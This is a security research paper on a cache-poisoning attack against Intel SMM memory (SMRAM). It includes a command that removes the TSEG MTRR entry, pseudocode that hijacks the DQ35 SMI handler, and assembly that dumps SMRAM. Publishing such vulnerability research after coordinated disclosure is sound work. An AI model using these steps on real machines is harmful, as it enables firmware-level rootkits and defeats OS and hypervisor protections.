Attacking SMM Memory via Intel® CPU Cache Poisoning

Rafal Wojtczuk
rafal@invisiblethingslab.com

Joanna Rutkowska
joanna@invisiblethingslab.com

---===[Invisible Things Lab]===---

Abstract

In this paper we describe novel practical attacks on SMM memory (SMRAM) that exploit CPU caching semantics of Intel-based systems.

keywords: CPU Cache, System Management Mode, SMM, security, analysis, attack.

1. Introduction

System Management Mode (SMM) is the most privileged CPU operation mode on x86/x86_64 architectures. It can be thought of as of "Ring -2", as the code executing in SMM has more privileges than even hardware hypervisors (VT), which are colloquially referred to as if operating in "Ring -1".

The SMM code lives in a specially protected region of system memory, called SMRAM. The memory controller offers dedicated locks to limit access to SMRAM memory only to system firmware (BIOS). BIOS, after loading the SMM code into SMRAM, can (and should) later "lock down" system configuration in such a way that no further access, from outside the SMM mode, to SMRAM is possible, even for an OS kernel (or a hypervisor).

In this paper we discuss an architectural problem affecting Intel-based systems that allow for unauthorized access to SMRAM. We also discuss how to practically exploit this problem, showing working proof of concept codes that allow for arbitrary SMM code execution. This allows for various kind of abuses of the super-privileged SMM mode, e.g. via SMM rootkits [9].

2. Related work

Other SMM attacks have been found and described earlier.

Last year we have found a problem affecting many Intel® BIOSes that allowed to exploit memory remapping functionality in order to access various memory regions, including SMRAM. We have mentioned the attack during our presentation at the Black Hat USA 2008 last year [8] and subsequently, after Intel fixed the problem [5] after a few weeks, we have also released full details of the attack together with a proof of concept code [11].

Also last year, we have identified another problem in the Intel firmware that again allowed to bypass SMRAM protection and inject arbitrary code into SMM. We used that attack to bypass Intel® Trusted Execution Technology (TXT) on latest Intel systems (e.g. DQ35 motherboard) [10]. We haven't published the details of this recent SMM attack yet, because Intel is still in the process of patching the firmware. We plan to release the details of the attack at this year's Black Hat USA in July 2009.

Finally, another researcher, Loic Duflot, has discovered the same (as it turned out) caching attack on SMM as the one we describe in this paper. Duflot has reported the issue to Intel back in October 2008 and has planned to release the details at the CanSecWest conference in March 2009. We have independently discovered the same attack in February 2009 and reported the issue immediately to Intel as well. We then were told by Intel that the same issue has been previously identified by Duflot and that Intel is preparing a workaround targeting Duflot's presentation at CanSecWest [7].[1] After contacting Duflot we decided to release our paper on the same day as the Duflot's presentation date.

Interestingly the very same cache poisoning problem we abuse in our attack against SMM has been identified a few years ago by Intel employees, who even decided to describe it in at least two different patent applications [3] [1]. We haven't been aware of the patents before we discovered the attack — we never thought a vendor might

1 Intel contacted Loic Duflot first and verified he was ok with sharing this information.

describe weaknesses in its own products and apply for a patent on how to fix them, and still not implement those fixes for a few years[2]… The patents turned out, however, to be easily "googlable" and it would be surprising that nobody else before us, and Loic Duflot, have created working exploits for this vulnerability.

Besides the SMM attacks, whose target is to get access to the (normally well protected) SMRAM, other research involving SMM has also been presented. This includes Loic Duflot discussing SMM abuse to circumvent OpenBSD securelevel protection [2], as well as Sherri Sparks and Shawn Embleton [9] discussing SMM rootkits. However no novel attacks on SMM have been presented in those papers — authors assumed that SMM is not protected by the chipset (D_LOCK bit), which was true on older systems (pre 2006).

3. Attack details

Below we describe how to exploit cache poisoning to get access to the SMRAM memory. We assume that the attacker has access to certain platform MSR registers. In practice this is equivalent to the attacker having administrator privileges on the target system, and on some systems, like e.g. Windows, also the ability to load and execute arbitrary kernel code[3].

1. The attacker should first modify system MTRR[4] register(s) in order to mark the region of system memory where the SMRAM is located as cacheable with type Write-Back (WB).

2. Attacker now generates write accesses to physical addresses corresponding to locations where the SMRAM is located. Those accesses will now be cached, because we have marked this range of physical addresses as WB cacheable. Normally, physical addresses corresponding to the location of SMRAM would be un-cacheable and any write accesses to these addresses would be dropped by the memory controller (chipset).

3. Finally attacker needs to trigger an SMI[5], which will transfer execution to the SMM code. The CPU will start executing the SMM code, but will be fetching the instructions from the cache first, before reading them from DRAM. Because the attacker previously (in point #2) generated write access to SMRAM locations, the CPU will fetch attacker-provided data from the cache and execute them as an SMI handler, with full SMM privileges.

The above scenario allows for arbitrary SMM memory overwrite (and later code execution of this arbitrary data written into SMM). We can also think about a similar attack that would allow for reading SMM memory[6]. This is especially useful for practical exploitation, where the attacker should first be able to obtain firmware-specific offsets, in order to be able to come up with a reliable code execution exploit (see the next chapter). In this case the sequence of events would be:

1. Again the attacker first marks the SMRAM as WB cacheable, by manipulating system MTRR registers.

2. Now the attacker needs to trigger an SMI to cause the original handler to execute, which will have also a side effect of (most of) its instructions being cached.

3. Finally, attacker should read the cache, preferably using a non-invasive instruction such as `movnti`, that will not pollute the cache with any new data.

4. Practical exploitation

On Linux systems it is trivial for the root user to modify system MTRRs[7] via the `/proc/mtrr` pseudo-file. Assuming your system is an Intel

---

2 Intel told us that they have begun releasing CPUs with a feature to mitigate such attacks since 2007, but the feature have required cooperation from the BIOS.

3 Note that SMRAM memory should normally be protected against accesses from OS kernel, so even the system administrator is not allowed to access SMRAM.

4 The usage of MTRR registers is described in the Intel Software Developer's Manual, vol. 3a, Chapter 10. MTRR registers are implemented as MSR registers.

5 SMI stands for System Management Interrupt. On Intel chipsets an SMI# can be triggered by executing OUT instruction to port 0xb2 .

6 Normally SMM memory cannot be read, even by the OS kernel.

7 This applies to the variable range MTTRs only.

DQ35 board with 2GB of RAM, it is likely that the "caching map" of your memory looks like this, e.g:

```
[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 (    0MB), size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=  16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=   8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=   4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=   2MB: uncachable, count=1
```

We see here the first entry (`reg00`) is marking the whole memory as Write-Back cacheable[8]. Next we see a bunch of "exceptions" — regions of memory each marked as uncacheable. One of those regions, (`reg03`) corresponds to the memory where the SMM's TSEG[9] segment is located.

We can now simply remove this MTRR entry for TSEG, with the following shell command:

```
echo "disable=3" >| /proc/mtrr
```

On other systems we might not have the default-WB-caching entry (as seen above) and we might need to manually modify the MTRR entry for TSEG to indicate caching type as Write-Back (which is crucial for the attack).

Of course on different systems than Linux, e.g. Windows, one doesn't have such a convenient access to `/proc/mtrr` pseudo-file. This is however only a minor technicality, as one can very well modify the MTRRs mapping using the standard WRMSR instructions.

Once the TSEG's memory is marked as WB cacheable, one can do something as simple as:

```
*(ptr) = evil_data;
outb 0x00, 0xb2 // generate SMI
```

Where `ptr` can e.g. point to a virtual address mapped to the physical address inside the TSEG segment. An easy way to achieve that is to use the `/dev/mem` device on Linux or the `\Device \PhysicalMemory` object in Windows.

And that's it![10]

Now when the SMI will be generated (on Intel systems one can do it easily with just one OUT instruction as shown above) and if it happens to execute instructions from the physical addresses we just filled with the "evil data", then the CPU will fetch those "evil data" from the cache and execute them, instead of executing the original SMM instructions from DRAM. Needless to say, one can make sure that the CPU will always fetch our instructions, e.g. by overwriting the SMI handler's entry point.

In particular, on DQ35 systems, one can notice that the SMI handler executes the following code (located in TSEG), shortly after the entry point to SMM[11]:

```
mov    $0x7e5fcfe0,%rsp
mov    0x8(%rsp),%rax
mov    (%rsp),%ecx
callq  *(%rax)
```

Consequently, a code execution in SMM might be achieved with the following (pseudo) code (we assume we have also allocated a buffer and calculated its physical address into the `myaddr` variable):

```
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI#
```

For the complete proof of concept code, please see [6]. Note the exploit has several hard-coded constants that likely will need to be adjusted for systems other than DQ35 with 2GB of RAM. Also, for simplicity, we use a dedicated kernel module that is used for allocating the shellcode buffer and calculating its physical address. The exploit's shellcode doesn't do anything spectacular — it only increases a counter that could be observed via the `/proc/mymem` - a pseudo file created by the helper module. Consequently the exploit we publish

8 For explanation on different types of memory cacheing please consult the Intel Software Developer's Manual, vol. 3a.

9 TSEG is a region of memory above 1MB comprising the SMRAM (in fact most of the SMM code is located in TSEG in today's systems). The start of the TSEG region is indicated by the TSEGMB register in the northbridge, on Intel systems.

10 This sentence is supposed to stress the simplicity and reliability of this one-might-think-complex attack.

11 A careful reader might notice this code is a 64-bit assembly, which means that majority of the SMM code is executing in the long mode. We have also been surprised when discovered this for the first time, but apparently there is nothing that forbids SMI handler from switching the CPU to the long mode and restore it back to whatever other mode was active before the SMI#, e.g. ordinary 32-bit protected mode.

is totally harmless (it also takes care of executing the original SMM code).

As we see, exploitation can even be achieved from the usermode (escalation from Ring 3 to SMM), assuming the OS allows for I/O operations and MTRR manipulation from usermode. E.g. most Linux systems allow its root user to do the above, while Windows systems do not. This also means that the above attack could be potentially used for usermode-to-kernel privilege escalations on systems that take special care to protect the kernel, e.g. by disabling LKM support and blocking writes to `/dev/(k)mem` devices. We haven't tried our attack against any such systems though.

An alert user might notice that, in order to perform the attack above, one had to know the SMM-specific "offsets" that are used by the SMI handler.

There are more than one way to solve this problem. One elegant approach is to use the same caching attack in order to read, instead of write to, the SMM memory.

The following pseudo-code demonstrates an exploit that could be used to read the SMM code:

```
fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
    "push %rdi\n"
    "mov $0x40000, %ecx\n"
    "mov $outbuf, %rdi\n"
    "mov ptr, %rsi\n"
    "lp:\n"
    "mov (%rsi), %eax\n"
    "movnti %eax, (%rdi)\n"
    "add $4, %rdi\n"
    "add $4, %rsi\n"
    "loop lp\n"
    "pop %rdi\n"
    "pop %rsi\n"
    "mfence");
write(1, outbuf, SIZE);    // stdout
```

The trick used above is the `movnti` instruction that can be used to read data from the cache (which have been left there by the SMI handler executing as WB cacheable) without polluting the cache with new data, which would had a negative effect of removing the interesting data from the cache before they could be read. Note that using the above method one can only read those addresses from the SMI handler that had been executed[12].

5. Workaround

Intel has informed us that they have been working on a solution to prevent caching attacks on SMM memory for quite a while and have also engaged with OEMs/BIOS vendors to implement certain new mechanisms that are supposed to prevent the attack. According to Intel, many new systems are protected against the attack. We have found out, however, that some of the Intel's recent motherboards, like e.g. the popular DQ35, are still vulnerable to the attack.

Additionally the workarounds that Intel has mentioned to us are not yet officially documented, but Intel told us that they will be updating the CPU documentation shortly (In particular the vol. 3a of [4]).

6. Summary

In this paper we have described practical exploitation of the CPU cache poisoning in order to read or write into (otherwise protected) SMRAM memory. We have implemented two working exploits: one for dumping the content of SMRAM and the other one for arbitrary code execution in SMRAM. This is the third attack on SMM memory our team has found within the last 10 months, affecting Intel-based systems. It seems that current state of firmware security, even in case of such reputable vendors as Intel[13], is quite unsatisfying.

The potential consequence of attacks on SMM might include SMM rootkits [9], hypervisor compromises [8], or OS kernel protection bypassing [2].

References

[1] Martin Dixon, G., David Koufaty, A., Camron Rust, B. *et al.* Steering System Management Mode Code Region Accesses (World Intellectual Property Organization WO/ 2007/078959). http://www.wipo.int/, 2005.

[2] Loic Duflot. Security Issues Related to Pentium System Management Mode. Presented at CanSecWest 2006, Vancouver, Canada, 2006.

[3] Sergiu D. Ghetie. Protecting system management mode (SMM) spaces against cache attacks (United States Patent

12 With the accuracy of the cache line size, which is e.g. 64 bytes.

13 Intel is also a motherboard and BIOS vendor for the systems we tested our attack on (e.g. DQ35 board).

Application 20080209578). http://www.freepatentsonline.com/y2008/0209578.html, 2007.

[4] Intel Corp. Intel® 64 and IA-32 Architectures Software Developer's Manual (#253665 - #253669). 2008.

[5] Intel Corp. Intel® Desktop and Intel® Mobile Boards Privilege Escalation. http://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00017&languageid=en-fr, 2008.

[6] Invisible Things Lab. The Resources Page: paper, code and demos. http://invisiblethingslab.com/itl/Resources.html,

[7] Loic Duflot. Getting into the SMRAM: SMM Reloaded. Presented at CanSecWest, Vancouver, Canada, 2009.

[8] Joanna Rutkowska and Rafal Wojtczuk. Detecting & Preventing the Xen Hypervisor Subversions. Presented at Black Hat USA, Las Vegas, NV, USA, 2008.

[9] Sherri Sparks and Shawn Embleton. SMM Rootkits: A New Breed of OS Independent Malware. Presented at Black Hat USA, Las Vegas, NV, USA, 2008.

[10] Rafal Wojtczuk and Joanna Rutkowska. Attacking Intel® Trusted Execution Technology. Presented at Black Hat DC 2009, Washington, DC, USA, 2009.

[11] Rafal Wojtczuk, Joanna Rutkowska, and Alexander Tereshkin. Xen 0wning Trilogy: code and demos. http://invisiblethingslab.com/resources/bh08/, 2008.

http://invisiblethingslab.com